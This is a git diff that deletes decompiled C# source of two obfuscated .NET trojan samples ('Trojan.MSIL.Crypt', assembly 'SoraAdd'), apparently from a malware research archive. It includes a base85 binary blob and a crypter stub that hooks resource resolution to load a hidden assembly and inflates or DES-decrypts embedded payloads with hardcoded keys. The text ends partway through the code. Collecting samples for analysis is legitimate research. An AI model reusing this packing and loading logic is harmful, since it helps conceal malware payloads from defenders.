b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/_0004/_0004.cs deleted file mode 100644 index 77300077..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/_0004/_0004.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace \u0004 -{ - [DebuggerNonUserCode] - [CompilerGenerated] - [StandardModule] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [HideModuleName] - internal sealed class \u0004 - { - private static ResourceManager \u0001; - private static CultureInfo \u0002; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) \u0004.\u0004.\u0001, (object) null)) - \u0004.\u0004.\u0001 = new ResourceManager("Soraadd.Resources", typeof (\u0004.\u0004).Assembly); - return \u0004.\u0004.\u0001; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => \u0004.\u0004.\u0002; - set => \u0004.\u0004.\u0002 = value; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/_0005/_0001.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/_0005/_0001.cs deleted file mode 100644 index 97bf2b09..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/_0005/_0001.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Soraadd.My; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace \u0005 -{ - [StandardModule] - [DebuggerNonUserCode] - [CompilerGenerated] - [HideModuleName] - internal sealed class \u0001 - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings => MySettings.Default; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/_003CModule_003E.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/_003CModule_003E.cs deleted file mode 100644 index ac60a498..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/_003CModule_003E.cs +++ /dev/null @@ -1,16 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3.exe - -using \u0002; - -internal class \u003CModule\u003E -{ - static \u003CModule\u003E() - { - \u0003.\u0003(); - \u0001.\u0001.\u0003(); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/{3872a73d-48e1-4504-b393-a76428731afe} b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-3b877e42a59809581d664c3d243a2a602475fc10e3fb7d2e476b0a3a381361e3/{3872a73d-48e1-4504-b393-a76428731afe} deleted file mode 100644 index e61e286160257c8894027c5d670d70515f962895..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1012 zcmVZ;#0EpgV=|ivY?=MPV zsG*Wso}&j!_;8EVOsHx(Jj%tfNY_GPP;j0B?rrDcirR4xWk>Fdm|5|WscoG~dCk1F zFzOKm1BSw5XXBsyyDK#kwoXCZ#o%Qw@H`79Q^2P6z=Z;P2{d#9Sf|5*GYf)#p)98W zc6324yf))=+a3@>Af!I4I5V5&X^vGUN(+g90^xSx9jh8iuDNa~J4wRZoHm7K!dBGr zq);ervz8#Op=gCVfJ-d;MG{6QWhi9TT!ct*WnNZg2y`>^gkYXHpUoc!1fvRxtt##w z>F6`|k3$Iqxl2nlWE-|!q`o!IxBIh;lNftdT~{uyiCbTBKt^Tgz*d*Q3GUxDlt_!9 z=VaR4Ay4E$sSPqcQ|xH2shuAM;X0Zzv`OLNYfd^rJp8F!mscsV0*p4IV}3_uDa-=q zfWyk)8?+(135XQL1MM+Dld^BB-}O29-7?3826DnnO%ileWcp`;xZYU_`CnrMfEq_V zq2Sd-9#g-N{cK9V*ni}~iW6wj4}1;JXKQndyPvN)OA%c2I=;M1UsDqP#Su-(D>AFR z8<^wI@>9m11+IH4;k2TH$mmOfYLbDeYHtrAx?*z!FS8*TcII|pO!PVQK4ny%nEj;A z0`n2`n=BWFeTtf<3&F6}ukN)gS}2(%O^Wiq`7ga2VwHhyt0ngz4_GqGa#WRNBnkFG%(xRl@3`>uEt z`{MY>#1+gEX4GetfzIV5dEV5JO$jcI&Uo&DOJ!y}$dtfuHx2)Z52RiKQl|-2sTEE^ zfIa$`uq6~pakam<2a8Egkep@@FgPKmEXNpY==KR1U0apl!{(iEMwLGtR1=!Fof>lx z6<3v3(tR9Vu+HnP>*2XBFNbqia}-0(c+4lvT>E8YT4#^DK|U0P*tDj;v�{mM0y* zl`WM0G<<(5E!A-U!gU9ftjb)v0Pii9?xh+PwDU4Iae5V>yVwub z@Rw6l1@kpEoBDP!z92c(gv~+)DJ_ zIRICta9Y6=372`Dd}8Qa*)8orZJP4jqUt}0V7-lOz i7icSMRKoq6kz`t&g{e>CsYO&G)tSW#2RfKw=)(hH)aWY! diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/AssemblyInfo.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/AssemblyInfo.cs deleted file mode 100644 index 4afd43e7..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/AssemblyInfo.cs +++ /dev/null @@ -1,17 +0,0 @@ -using SmartAssembly.Attributes; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[assembly: Guid("36537493-e85c-4d7e-96bc-32c472e96b4c")] -[assembly: ComVisible(false)] -[assembly: AssemblyDescription("")] -[assembly: AssemblyProduct("")] -[assembly: SuppressIldasm] -[assembly: AssemblyCopyright("")] -[assembly: AssemblyFileVersion("3.0.0.0")] -[assembly: PoweredBy("Powered by {smartassembly}")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyTitle("")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyVersion("3.0.0.0")] diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/SmartAssembly/Attributes/PoweredByAttribute.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/SmartAssembly/Attributes/PoweredByAttribute.cs deleted file mode 100644 index 8a9b3999..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/SmartAssembly/Attributes/PoweredByAttribute.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SmartAssembly.Attributes.PoweredByAttribute -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734.exe - -using System; - -namespace SmartAssembly.Attributes -{ - public sealed class PoweredByAttribute : Attribute - { - public PoweredByAttribute(string s) - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/SmartAssembly/Attributes/PoweredByAttribute2.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/SmartAssembly/Attributes/PoweredByAttribute2.cs deleted file mode 100644 index cbb65b9d..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/SmartAssembly/Attributes/PoweredByAttribute2.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SmartAssembly.Attributes.PoweredByAttribute2 -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734.exe - -using System; - -namespace SmartAssembly.Attributes -{ - public sealed class PoweredByAttribute2 : Attribute - { - public PoweredByAttribute2(string s) - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/Soraadd/My/MySettings.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/Soraadd/My/MySettings.cs deleted file mode 100644 index 4ce3acf1..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/Soraadd/My/MySettings.cs +++ /dev/null @@ -1,74 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Soraadd.My.MySettings -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734.exe - -using \u0005; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Threading; - -namespace Soraadd.My -{ - [CompilerGenerated] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings \u0001 = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - private static bool \u0002; - private static object \u0003 = RuntimeHelpers.GetObjectValue(new object()); - - [DebuggerNonUserCode] - public MySettings() - { - } - - [DebuggerNonUserCode] - [EditorBrowsable(EditorBrowsableState.Advanced)] - private static void \u0003(object sender, EventArgs e) - { - if (!\u0003.\u0003.Application.SaveMySettingsOnExit) - return; - \u0001.Settings.Save(); - } - - public static MySettings Default - { - get - { - if (!MySettings.\u0002) - { - object Expression = MySettings.\u0003; - ObjectFlowControl.CheckForSyncLockOnValueType(Expression); - Monitor.Enter(Expression); - try - { - if (!MySettings.\u0002) - { - \u0003.\u0003.Application.Shutdown += (ShutdownEventHandler) ((sender, e) => - { - if (!\u0003.\u0003.Application.SaveMySettingsOnExit) - return; - \u0001.Settings.Save(); - }); - MySettings.\u0002 = true; - } - } - finally - { - Monitor.Exit(Expression); - } - } - return MySettings.\u0001; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/Trojan.MSIL.Crypt.btlb.csproj b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/Trojan.MSIL.Crypt.btlb.csproj deleted file mode 100644 index 20410a13..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/Trojan.MSIL.Crypt.btlb.csproj +++ /dev/null @@ -1,62 +0,0 @@ - - - - - Debug - AnyCPU - {AEFF618B-0CC5-46CC-A5C7-D0A2E6E11E48} - WinExe - SoraAdd - 3.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/Trojan.MSIL.Crypt.btlb.sln b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/Trojan.MSIL.Crypt.btlb.sln deleted file mode 100644 index 12e3fff6..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/Trojan.MSIL.Crypt.btlb.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SoraAdd", "Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734.csproj", "{AEFF618B-0CC5-46CC-A5C7-D0A2E6E11E48}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {AEFF618B-0CC5-46CC-A5C7-D0A2E6E11E48}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {AEFF618B-0CC5-46CC-A5C7-D0A2E6E11E48}.Debug|Any CPU.Build.0 = Debug|Any CPU - {AEFF618B-0CC5-46CC-A5C7-D0A2E6E11E48}.Release|Any CPU.ActiveCfg = Release|Any CPU - {AEFF618B-0CC5-46CC-A5C7-D0A2E6E11E48}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/_0001/_0001.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/_0001/_0001.cs deleted file mode 100644 index 1a68698c..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/_0001/_0001.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734.exe - -using \u0001; -using System; - -namespace \u0001 -{ - internal sealed class \u0001 - { - public static void \u0003() - { - try - { - \u0002.\u0003(); - } - catch (Exception ex) - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/_0001/_0002.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/_0001/_0002.cs deleted file mode 100644 index 06bc5527..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/_0001/_0002.cs +++ /dev/null @@ -1,50 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734.exe - -using \u0001; -using System; -using System.Reflection; -using System.Runtime.InteropServices; - -namespace \u0001 -{ - internal sealed class \u0002 - { - private static Assembly \u0001 = (Assembly) null; - private static string[] \u0002 = new string[0]; - - internal static void \u0003() - { - try - { - AppDomain.CurrentDomain.ResourceResolve += new ResolveEventHandler(\u0002.\u0003); - } - catch (Exception ex) - { - } - } - - internal static Assembly \u0003([In] object obj0, [In] ResolveEventArgs obj1) - { - if ((object) \u0002.\u0001 == null) - { - lock (\u0002.\u0002) - { - \u0002.\u0001 = Assembly.Load("{3872a73d-48e1-4504-b393-a76428731afe}, PublicKeyToken=3e56350693f7355e"); - if ((object) \u0002.\u0001 != null) - \u0002.\u0002 = \u0002.\u0001.GetManifestResourceNames(); - } - } - string name = obj1.Name; - for (int index = 0; index < \u0002.\u0002.Length; ++index) - { - if (\u0002.\u0002[index] == name) - return \u0002.\u0001; - } - return (Assembly) null; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/_0001/_0003.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/_0001/_0003.cs deleted file mode 100644 index 75a556ec..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/_0001/_0003.cs +++ /dev/null @@ -1,1013 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734.exe - -using \u0001; -using System; -using System.IO; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security.Cryptography; - -namespace \u0001 -{ - internal sealed class \u0003 - { - public static byte[] \u0003([In] byte[] obj0) - { - \u0003.\u0007 obj1 = new \u0003.\u0007(obj0); - byte[] numArray1 = new byte[0]; - int num1 = obj1.\u0004(); - if (num1 == 67324752) - { - short num2 = (short) obj1.\u0003(); - int num3 = obj1.\u0003(); - int num4 = obj1.\u0003(); - if (num1 != 67324752 || num2 != (short) 20 || num3 != 0 || num4 != 8) - throw new FormatException("Wrong Header Signature"); - obj1.\u0004(); - obj1.\u0004(); - obj1.\u0004(); - int length = obj1.\u0004(); - int count1 = obj1.\u0003(); - int count2 = obj1.\u0003(); - if (count1 > 0) - { - byte[] buffer = new byte[count1]; - obj1.Read(buffer, 0, count1); - } - if (count2 > 0) - { - byte[] buffer = new byte[count2]; - obj1.Read(buffer, 0, count2); - } - byte[] buffer1 = new byte[obj1.Length - obj1.Position]; - obj1.Read(buffer1, 0, buffer1.Length); - \u0003.\u0001 obj2 = new \u0003.\u0001(buffer1); - numArray1 = new byte[length]; - obj2.\u0003(numArray1, 0, numArray1.Length); - } - else - { - int num5 = num1 >> 24; - if (num1 - (num5 << 24) != 8223355) - throw new FormatException("Unknown Header"); - if (num5 == 1) - { - int length1 = obj1.\u0004(); - numArray1 = new byte[length1]; - int num6; - for (int index = 0; index < length1; index += num6) - { - int length2 = obj1.\u0004(); - num6 = obj1.\u0004(); - byte[] buffer = new byte[length2]; - obj1.Read(buffer, 0, buffer.Length); - new \u0003.\u0001(buffer).\u0003(numArray1, index, num6); - } - } - if (num5 == 2) - { - DESCryptoServiceProvider cryptoServiceProvider = new DESCryptoServiceProvider(); - cryptoServiceProvider.Key = new byte[8] - { - (byte) 120, - (byte) 141, - (byte) 102, - (byte) 220, - (byte) 241, - (byte) 44, - (byte) 185, - (byte) 225 - }; - cryptoServiceProvider.IV = new byte[8] - { - (byte) 71, - (byte) 136, - (byte) 95, - (byte) 154, - (byte) 88, - (byte) 46, - (byte) 64, - (byte) 117 - }; - byte[] numArray2 = cryptoServiceProvider.CreateDecryptor().TransformFinalBlock(obj0, 4, obj0.Length - 4); - cryptoServiceProvider.Clear(); - numArray1 = \u0003.\u0003(numArray2); - } - } - obj1.Close(); - return numArray1; - } - - internal sealed class \u0001 - { - private static int[] \u0001 = new int[29] - { - 3, - 4, - 5, - 6, - 7, - 8, - 9, - 10, - 11, - 13, - 15, - 17, - 19, - 23, - 27, - 31, - 35, - 43, - 51, - 59, - 67, - 83, - 99, - 115, - 131, - 163, - 195, - 227, - 258 - }; - private static int[] \u0002 = new int[29] - { - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 1, - 1, - 1, - 1, - 2, - 2, - 2, - 2, - 3, - 3, - 3, - 3, - 4, - 4, - 4, - 4, - 5, - 5, - 5, - 5, - 0 - }; - private static int[] \u0003 = new int[30] - { - 1, - 2, - 3, - 4, - 5, - 7, - 9, - 13, - 17, - 25, - 33, - 49, - 65, - 97, - 129, - 193, - 257, - 385, - 513, - 769, - 1025, - 1537, - 2049, - 3073, - 4097, - 6145, - 8193, - 12289, - 16385, - 24577 - }; - private static int[] \u0004 = new int[30] - { - 0, - 0, - 0, - 0, - 1, - 1, - 2, - 2, - 3, - 3, - 4, - 4, - 5, - 5, - 6, - 6, - 7, - 7, - 8, - 8, - 9, - 9, - 10, - 10, - 11, - 11, - 12, - 12, - 13, - 13 - }; - private int \u0005; - private int \u0006; - private int \u0007; - private int \u0008; - private int \u000E; - private bool \u000F; - private \u0003.\u0002 \u0010; - private \u0003.\u0003 \u0011; - private \u0003.\u0005 \u0012; - private \u0003.\u0004 \u0013; - private \u0003.\u0004 \u0014; - - public \u0001([In] byte[] obj0) - { - this.\u0010 = new \u0003.\u0002(); - this.\u0011 = new \u0003.\u0003(); - this.\u0005 = 2; - this.\u0010.\u0003(obj0, 0, obj0.Length); - } - - private bool \u0003() - { - int num1 = this.\u0011.\u0003(); - while (num1 >= 258) - { - switch (this.\u0005) - { - case 7: - int num2; - while (((num2 = this.\u0013.\u0003(this.\u0010)) & -256) == 0) - { - this.\u0011.\u0003(num2); - if (--num1 < 258) - return true; - } - if (num2 < 257) - { - if (num2 < 0) - return false; - this.\u0014 = (\u0003.\u0004) null; - this.\u0013 = (\u0003.\u0004) null; - this.\u0005 = 2; - return true; - } - this.\u0007 = \u0003.\u0001.\u0001[num2 - 257]; - this.\u0006 = \u0003.\u0001.\u0002[num2 - 257]; - goto case 8; - case 8: - if (this.\u0006 > 0) - { - this.\u0005 = 8; - int num3 = this.\u0010.\u0003(this.\u0006); - if (num3 < 0) - return false; - this.\u0010.\u0003(this.\u0006); - this.\u0007 += num3; - } - this.\u0005 = 9; - goto case 9; - case 9: - int index = this.\u0014.\u0003(this.\u0010); - if (index < 0) - return false; - this.\u0008 = \u0003.\u0001.\u0003[index]; - this.\u0006 = \u0003.\u0001.\u0004[index]; - goto case 10; - case 10: - if (this.\u0006 > 0) - { - this.\u0005 = 10; - int num4 = this.\u0010.\u0003(this.\u0006); - if (num4 < 0) - return false; - this.\u0010.\u0003(this.\u0006); - this.\u0008 += num4; - } - this.\u0011.\u0003(this.\u0007, this.\u0008); - num1 -= this.\u0007; - this.\u0005 = 7; - continue; - default: - continue; - } - } - return true; - } - - private bool \u0004() - { - switch (this.\u0005) - { - case 2: - if (this.\u000F) - { - this.\u0005 = 12; - return false; - } - int num = this.\u0010.\u0003(3); - if (num < 0) - return false; - this.\u0010.\u0003(3); - if ((num & 1) != 0) - this.\u000F = true; - switch (num >> 1) - { - case 0: - this.\u0010.\u0003(); - this.\u0005 = 3; - break; - case 1: - this.\u0013 = \u0003.\u0004.\u0003; - this.\u0014 = \u0003.\u0004.\u0004; - this.\u0005 = 7; - break; - case 2: - this.\u0012 = new \u0003.\u0005(); - this.\u0005 = 6; - break; - } - return true; - case 3: - if ((this.\u000E = this.\u0010.\u0003(16)) < 0) - return false; - this.\u0010.\u0003(16); - this.\u0005 = 4; - goto case 4; - case 4: - if (this.\u0010.\u0003(16) < 0) - return false; - this.\u0010.\u0003(16); - this.\u0005 = 5; - goto case 5; - case 5: - this.\u000E -= this.\u0011.\u0003(this.\u0010, this.\u000E); - if (this.\u000E != 0) - return !this.\u0010.\u0003(); - this.\u0005 = 2; - return true; - case 6: - if (!this.\u0012.\u0003(this.\u0010)) - return false; - this.\u0013 = this.\u0012.\u0003(); - this.\u0014 = this.\u0012.\u0004(); - this.\u0005 = 7; - goto case 7; - case 7: - case 8: - case 9: - case 10: - return this.\u0003(); - case 12: - return false; - default: - return false; - } - } - - public int \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2) - { - int num1 = 0; - do - { - if (this.\u0005 != 11) - goto label_5; -label_2: - continue; -label_5: - int num2 = this.\u0011.\u0003(obj0, obj1, obj2); - obj1 += num2; - num1 += num2; - obj2 -= num2; - if (obj2 != 0) - goto label_2; - else - goto label_1; - } - while (this.\u0004() || this.\u0011.\u0004() > 0 && this.\u0005 != 11); - goto label_3; -label_1: - return num1; -label_3: - return num1; - } - } - - internal sealed class \u0002 - { - private byte[] \u0001; - private int \u0002; - private int \u0003; - private uint \u0004; - private int \u0005; - - public int \u0003([In] int obj0) - { - if (this.\u0005 < obj0) - goto label_4; -label_3: - return (int) ((long) this.\u0004 & (long) ((1 << obj0) - 1)); -label_4: - if (this.\u0002 == this.\u0003) - return -1; - this.\u0004 |= (uint) (((int) this.\u0001[this.\u0002++] & (int) byte.MaxValue | ((int) this.\u0001[this.\u0002++] & (int) byte.MaxValue) << 8) << this.\u0005); - this.\u0005 += 16; - goto label_3; - } - - public void \u0003([In] int obj0) - { - this.\u0004 >>= obj0; - this.\u0005 -= obj0; - } - - [SpecialName] - public int \u0003() => this.\u0005; - - [SpecialName] - public int \u0004() => this.\u0003 - this.\u0002 + (this.\u0005 >> 3); - - public void \u0003() - { - this.\u0004 >>= this.\u0005 & 7; - this.\u0005 &= -8; - } - - [SpecialName] - public bool \u0003() => this.\u0002 == this.\u0003; - - public int \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2) - { - int num1 = 0; - while (this.\u0005 > 0 && obj2 > 0) - { - obj0[obj1++] = (byte) this.\u0004; - this.\u0004 >>= 8; - this.\u0005 -= 8; - --obj2; - ++num1; - } - if (obj2 == 0) - return num1; - int num2 = this.\u0003 - this.\u0002; - if (obj2 > num2) - obj2 = num2; - Array.Copy((Array) this.\u0001, this.\u0002, (Array) obj0, obj1, obj2); - this.\u0002 += obj2; - if ((this.\u0002 - this.\u0003 & 1) != 0) - { - this.\u0004 = (uint) this.\u0001[this.\u0002++] & (uint) byte.MaxValue; - this.\u0005 = 8; - } - return num1 + obj2; - } - - public void \u0003([In] 